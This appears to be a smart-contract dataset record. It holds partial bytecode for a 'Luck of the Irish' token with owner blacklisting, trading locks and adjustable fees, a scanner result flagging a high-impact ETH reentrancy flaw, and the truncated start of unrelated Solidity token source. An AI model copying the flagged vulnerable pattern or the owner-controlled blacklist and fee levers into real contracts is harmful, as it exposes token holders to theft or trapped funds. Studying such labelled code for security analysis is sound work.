5d57600080fd5b5061047860048036038101906104739190612e39565b610e30565b005b34801561048657600080fd5b5061048f610ecf565b60405161049c9190613402565b60405180910390f35b3480156104b157600080fd5b506104ba610ed5565b6040516104c791906131cf565b60405180910390f35b3480156104dc57600080fd5b506104e5610efe565b6040516104f29190613402565b60405180910390f35b34801561050757600080fd5b50610510610f04565b60405161051d9190613220565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190612e39565b610f41565b005b34801561055b57600080fd5b5061057660048036038101906105719190612d23565b610fe0565b60405161058391906131ea565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612c36565b610ffe565b6040516105c091906131ea565b60405180910390f35b3480156105d557600080fd5b506105de61101e565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612d63565b6110f7565b005b34801561061557600080fd5b50610630600480360381019061062b9190612c90565b611231565b60405161063d9190613402565b60405180910390f35b34801561065257600080fd5b5061066d60048036038101906106689190612e39565b6112b8565b005b34801561067b57600080fd5b5061069660048036038101906106919190612c36565b611357565b005b6106a0611519565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490613362565b60405180910390fd5b60005b81518110156107be57600160106000848481518110610752576107516137f5565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107b69061374e565b915050610730565b5050565b60606040518060400160405280601181526020017f4c75636b206f6620746865204972697368000000000000000000000000000000815250905090565b600061081361080c611519565b8484611521565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b61085c611519565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e090613362565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006109188484846116ec565b6109d984610924611519565b6109d485604051806060016040528060288152602001613ca360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061098a611519565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f719092919063ffffffff16565b611521565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a21611519565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa590613362565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b11611519565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590613362565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfc611519565b73ffffffffffffffffffffffffffffffffffffffff161480610c725750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c5a611519565b73ffffffffffffffffffffffffffffffffffffffff16145b610c7b57600080fd5b6000479050610c8981611fd5565b50565b6000610cd6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120d0565b9050919050565b610ce5611519565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6990613362565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e38611519565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebc90613362565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600481526020017f4c4f544900000000000000000000000000000000000000000000000000000000815250905090565b610f49611519565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd90613362565b60405180910390fd5b8060188190555050565b6000610ff4610fed611519565b84846116ec565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661105f611519565b73ffffffffffffffffffffffffffffffffffffffff1614806110d55750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110bd611519565b73ffffffffffffffffffffffffffffffffffffffff16145b6110de57600080fd5b60006110e930610c8c565b90506110f48161213e565b50565b6110ff611519565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390613362565b60405180910390fd5b60005b8383905081101561122b5781600560008686858181106111b2576111b16137f5565b5b90506020020160208101906111c79190612c36565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112239061374e565b91505061118f565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112c0611519565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461134d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134490613362565b60405180910390fd5b8060178190555050565b61135f611519565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e390613362565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561145c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611453906132c2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611591576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611588906133e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f8906132e2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116df9190613402565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561175c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611753906133a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c390613242565b60405180910390fd5b6000811161180f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180690613382565b60405180910390fd5b611817610ed5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118855750611855610ed5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7057601560149054906101000a900460ff16611914576118a6610ed5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190a90613262565b60405180910390fd5b5b601654811115611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611950906132a2565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119fd5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3390613302565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ae95760175481611a9e84610c8c565b611aa89190613538565b10611ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adf906133c2565b60405180910390fd5b5b6000611af430610c8c565b9050600060185482101590506016548210611b0f5760165491505b808015611b27575060158054906101000a900460ff16155b8015611b815750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b995750601560169054906101000a900460ff165b8015611bef5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c455750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c6d57611c538261213e565b60004790506000811115611c6b57611c6a47611fd5565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611dca5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611dc95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611dd85760009050611f5f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e835750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e9b57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f465750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f5e57600a54600c81905550600b54600d819055505b5b611f6b848484846123c4565b50505050565b6000838311158290611fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb09190613220565b60405180910390fd5b5060008385611fc89190613619565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120256002846123f190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612050573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120a16002846123f190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156120cc573d6000803e3d6000fd5b5050565b6000600654821115612117576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210e90613282565b60405180910390fd5b600061212161243b565b905061213681846123f190919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561217557612174613824565b5b6040519080825280602002602001820160405280156121a35781602001602082028036833780820191505090505b50905030816000815181106121bb576121ba6137f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561225d57600080fd5b505afa158015612271573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122959190612c63565b816001815181106122a9576122a86137f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061231030601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611521565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161237495949392919061341d565b600060405180830381600087803b15801561238e57600080fd5b505af11580156123a2573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806123d2576123d1612466565b5b6123dd8484846124a9565b806123eb576123ea612674565b5b50505050565b600061243383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612688565b905092915050565b60008060006124486126eb565b9150915061245f81836123f190919063ffffffff16565b9250505090565b6000600c5414801561247a57506000600d54145b15612484576124a7565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124bb8761274d565b95509550955095509550955061251986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ae85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125fa8161285d565b612604848361291a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126619190613402565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906126cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c69190613220565b60405180910390fd5b50600083856126de919061358e565b9050809150509392505050565b600080600060065490506000683635c9adc5dea000009050612721683635c9adc5dea000006006546123f190919063ffffffff16565b82101561274057600654683635c9adc5dea00000935093505050612749565b81819350935050505b9091565b600080600080600080600080600061276a8a600c54600d54612954565b925092509250600061277a61243b565b9050600080600061278d8e8787876129ea565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006127f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f71565b905092915050565b600080828461280e9190613538565b905083811015612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90613322565b60405180910390fd5b8091505092915050565b600061286761243b565b9050600061287e8284612a7390919063ffffffff16565b90506128d281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61292f826006546127b590919063ffffffff16565b60068190555061294a816007546127ff90919063ffffffff16565b6007819055505050565b6000806000806129806064612972888a612a7390919063ffffffff16565b6123f190919063ffffffff16565b905060006129aa606461299c888b612a7390919063ffffffff16565b6123f190919063ffffffff16565b905060006129d3826129c5858c6127b590919063ffffffff16565b6127b590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a038589612a7390919063ffffffff16565b90506000612a1a8689612a7390919063ffffffff16565b90506000612a318789612a7390919063ffffffff16565b90506000612a5a82612a4c85876127b590919063ffffffff16565b6127b590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612a865760009050612ae8565b60008284612a9491906135bf565b9050828482612aa3919061358e565b14612ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ada90613342565b60405180910390fd5b809150505b92915050565b6000612b01612afc846134b7565b613492565b90508083825260208201905082856020860282011115612b2457612b2361385d565b5b60005b85811015612b545781612b3a8882612b5e565b845260208401935060208301925050600181019050612b27565b5050509392505050565b600081359050612b6d81613c5d565b92915050565b600081519050612b8281613c5d565b92915050565b60008083601f840112612b9e57612b9d613858565b5b8235905067ffffffffffffffff811115612bbb57612bba613853565b5b602083019150836020820283011115612bd757612bd661385d565b5b9250929050565b600082601f830112612bf357612bf2613858565b5b8135612c03848260208601612aee565b91505092915050565b600081359050612c1b81613c74565b92915050565b600081359050612c3081613c8b565b92915050565b600060208284031215612c4c57612c4b613867565b5b6000612c5a84828501612b5e565b91505092915050565b600060208284031215612c7957612c78613867565b5b6000612c8784828501612b73565b91505092915050565b60008060408385031215612ca757612ca6613867565b5b6000612cb585828601612b5e565b9250506020612cc685828601612b5e565b9150509250929050565b600080600060608486031215612ce957612ce8613867565b5b6000612cf786828701612b5e565b9350506020612d0886828701612b5e565b9250506040612d1986828701612c21565b9150509250925092565b60008060408385031215612d3a57612d39613867565b5b6000612d4885828601612b5e565b9250506020612d5985828601612c21565b9150509250929050565b600080600060408486031215612d7c57612d7b613867565b5b600084013567ffffffffffffffff811115612d9a57612d99613862565b5b612da686828701612b88565b93509350506020612db986828701612c0c565b9150509250925092565b600060208284031215612dd957612dd8613867565b5b600082013567ffffffffffffffff811115612df757612df6613862565b5b612e0384828501612bde565b91505092915050565b600060208284031215612e2257612e21613867565b5b6000612e3084828501612c0c565b91505092915050565b600060208284031215612e4f57612e4e613867565b5b6000612e5d84828501612c21565b91505092915050565b60008060008060808587031215612e8057612e7f613867565b5b6000612e8e87828801612c21565b9450506020612e9f87828801612c21565b9350506040612eb087828801612c21565b9250506060612ec187828801612c21565b91505092959194509250565b6000612ed98383612ee5565b60208301905092915050565b612eee8161364d565b82525050565b612efd8161364d565b82525050565b6000612f0e826134f3565b612f188185613516565b9350612f23836134e3565b8060005b83811015612f54578151612f3b8882612ecd565b9750612f4683613509565b925050600181019050612f27565b5085935050505092915050565b612f6a8161365f565b82525050565b612f79816136a2565b82525050565b612f88816136b4565b82525050565b6000612f99826134fe565b612fa38185613527565b9350612fb38185602086016136ea565b612fbc8161386c565b840191505092915050565b6000612fd4602383613527565b9150612fdf8261387d565b604082019050919050565b6000612ff7603f83613527565b9150613002826138cc565b604082019050919050565b600061301a602a83613527565b91506130258261391b565b604082019050919050565b600061303d601c83613527565b91506130488261396a565b602082019050919050565b6000613060602683613527565b915061306b82613993565b604082019050919050565b6000613083602283613527565b915061308e826139e2565b604082019050919050565b60006130a6602383613527565b91506130b182613a31565b604082019050919050565b60006130c9601b83613527565b91506130d482613a80565b602082019050919050565b60006130ec602183613527565b91506130f782613aa9565b604082019050919050565b600061310f602083613527565b915061311a82613af8565b602082019050919050565b6000613132602983613527565b915061313d82613b21565b604082019050919050565b6000613155602583613527565b915061316082613b70565b604082019050919050565b6000613178602383613527565b915061318382613bbf565b604082019050919050565b600061319b602483613527565b91506131a682613c0e565b604082019050919050565b6131ba8161368b565b82525050565b6131c981613695565b82525050565b60006020820190506131e46000830184612ef4565b92915050565b60006020820190506131ff6000830184612f61565b92915050565b600060208201905061321a6000830184612f70565b92915050565b6000602082019050818103600083015261323a8184612f8e565b905092915050565b6000602082019050818103600083015261325b81612fc7565b9050919050565b6000602082019050818103600083015261327b81612fea565b9050919050565b6000602082019050818103600083015261329b8161300d565b9050919050565b600060208201905081810360008301526132bb81613030565b9050919050565b600060208201905081810360008301526132db81613053565b9050919050565b600060208201905081810360008301526132fb81613076565b9050919050565b6000602082019050818103600083015261331b81613099565b9050919050565b6000602082019050818103600083015261333b816130bc565b9050919050565b6000602082019050818103600083015261335b816130df565b9050919050565b6000602082019050818103600083015261337b81613102565b9050919050565b6000602082019050818103600083015261339b81613125565b9050919050565b600060208201905081810360008301526133bb81613148565b9050919050565b600060208201905081810360008301526133db8161316b565b9050919050565b600060208201905081810360008301526133fb8161318e565b9050919050565b600060208201905061341760008301846131b1565b92915050565b600060a08201905061343260008301886131b1565b61343f6020830187612f7f565b81810360408301526134518186612f03565b90506134606060830185612ef4565b61346d60808301846131b1565b9695505050505050565b600060208201905061348c60008301846131c0565b92915050565b600061349c6134ad565b90506134a8828261371d565b919050565b6000604051905090565b600067ffffffffffffffff8211156134d2576134d1613824565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135438261368b565b915061354e8361368b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561358357613582613797565b5b828201905092915050565b60006135998261368b565b91506135a48361368b565b9250826135b4576135b36137c6565b5b828204905092915050565b60006135ca8261368b565b91506135d58361368b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561360e5761360d613797565b5b828202905092915050565b60006136248261368b565b915061362f8361368b565b92508282101561364257613641613797565b5b828203905092915050565b60006136588261366b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006136ad826136c6565b9050919050565b60006136bf8261368b565b9050919050565b60006136d1826136d8565b9050919050565b60006136e38261366b565b9050919050565b60005b838110156137085780820151818401526020810190506136ed565b83811115613717576000848401525b50505050565b6137268261386c565b810181811067ffffffffffffffff8211171561374557613744613824565b5b80604052505050565b60006137598261368b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561378c5761378b613797565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613c668161364d565b8114613c7157600080fd5b50565b613c7d8161365f565b8114613c8857600080fd5b50565b613c948161368b565b8114613c9f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202fb1f893480922e7783e4092179fabafa0b51fc802e4981f3c4d2745cedd8b2e64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,166 |
0x8dddf5e88267b5b9c57b293fb7291d44bbb9db8b
|
pragma solidity ^ 0.4.26;
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address) {
return msg.sender;
}
function _msgData() internal view returns(bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole is Context,Ownable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyOwner {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
